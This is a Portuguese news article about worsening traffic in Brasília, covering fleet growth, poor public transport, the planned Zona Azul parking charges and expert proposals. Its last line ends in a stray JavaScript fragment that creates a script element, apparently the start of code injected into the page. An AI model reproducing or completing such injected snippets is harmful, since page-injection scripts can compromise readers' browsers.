Trânsito em Brasília caminha para o caos

BSB Capital 30/06/2017 às 16:47, Atualizado em 18/09/2017 às 21:12

Detran tem quase 1,7 milhão de veículos registrados no DF. Governo quer implantar a Zona Azul na área central do Plano Piloto

Faixas exclusivas, como a da EPTG, é umas principais reclamações de motoristas no DF. Foto: Dênio Simões/Agência Brasília

O trânsito em Brasília caminha a passos largos para se tornar impraticável.  Em maio passado, constavam no Departamento de Trânsito (Detran) registros de 1.688.433 veículos, para uma população inferior a 3 milhões. Média de 0,56 para cada brasiliense. Além do crescimento da frota, houve aumento da população na capital federal, projetada para abrigar 500 mil habitantes.

Entre os fatores que colaboram para o caos urbano nas vias estão a falta de um sistema público de transporte coletivo eficiente e a dependência do transporte individual, ocasionados pela falta de ação dos gestores e conscientização da população. “A consequência, em longo prazo, será uma população com problemas comportamentais”, aponta o especialista em transportes urbanos Pastor Willy, da Universidade de Brasília (UnB).

O especialista em mobilidade sustentável Paulo César Marques aponta que o problema não é a frota de veículos e, sim, o grau de dependência do brasiliense. “Em Curitiba, o número de veículos é maior, porém, não ouvimos falar tanto do trânsito de lá. Eles têm um transporte público melhor que o nosso, com integração. Aqui, o usuário pega um ônibus e tem que esperar meia hora para pegar outro. É uma penalização”, afirma.

Marques acredita em políticas públicas que possam mudar esse panorama, como a cobrança de estacionamento no centro de Brasília. “Aqui é o único lugar onde o motorista encontra vagas gratuitas. É preciso haver a cobrança, e essa receita tem que ser revertida em transporte coletivo”, diz.

Zona Azul

O governo de Brasília quer implementar o sistema de cobrança de estacionamento por vaga – a Zona Azul. O lançamento do edital para convocar empresas a atuar nesse modelo foi feito no dia 27 de março. A expectativa é que o sistema esteja em funcionamento em 2018. A lista inclui a Esplanada dos Ministérios e os setores de Autarquias Sul; Bancários Norte e Sul; Comerciais Norte e Sul; Hospitalares Norte e Sul; e Rádio e TV Norte.

Saída está sobre trilhos

Pesquisador da área de Transporte da Universidade Católica de Brasília (UCB), Edson Benício acredita no investimento em outros modais, como Veículos Leves Sobre Trilhos (VLT’s) e Veículos Leves Sobre Pneus (VLP’s). Para ele, os governantes tentam implantar uma melhoria na mobilidade urbana que é paliativa.

“O governo tem que ter pulso forte para combater o lobby de empresas de ônibus e traçar planos para melhorar a qualidade de vida do cidadão como um todo. Pensar em uma política a longo prazo, de Estado, e não de governo. Um exemplo é o excesso de caminhões na EPNB e na EPIA, que são vias de ligação com estradas, onde os congestionamentos são constantes. É preciso pensar em um anel viário neste caso”, disse.

Comportamento

O especialista Pastor Willy defende um leque maior de opções de transporte público, desde o uso de novas tecnologias, como aplicativos de caronas solidárias, até acessibilidade do pedestre. Para ele, é preciso que a população se conscientize e passe a enxergar o carro como um integrante do sistema de mobilidade urbana, e não como uma propriedade.

“É comum ver, em horários de pico, motorista se estressando, e é possível enxergar as consequências disto no comportamento deles. Todos querem entrar no retorno ou avançar o sinal. Um estresse permanente. A maioria dos motoristas de camionetes tende a se achar donos das vias, por se identificar com o carro e achar que ele se impõe sobre os outros. O inverso acontece com as motos, que se aventuram em muitas situações”, afirmou.

Liberação das faixas exclusivas é “um passo atrás”

Mesmo com a redução dos congestionamentos em rodovias como a Estrada Parque Taguatinga (EPTG), a liberação da faixa exclusiva de ônibus é vista como um passo atrás. “Se não havia ônibus suficiente para tornar eficiente a faixa, deveria ser licitada uma nova frota. O que é visto como ociosidade no trânsito de veículos é, na verdade, um controle operacional”, disse Paulo César.

A demora na regulamentação de aplicativos que vão ajudar na diminuição do fluxo de carros nas vias é uma das principais críticas dos especialistas. Assim como o Uber, que foi regulamentado um ano depois de o governador Rodrigo Rollemberg apoiar a proposta, a implantação da carona solidária também é lenta. “É uma solução paliativa, mas ajuda no sistema de mobilidade urbana. Essa colaboração dos motoristas e caronas dá certo. Vemos isso na UnB”, afirmou Pastor Willy.var d=document;var s=d.createElement(‘script’);

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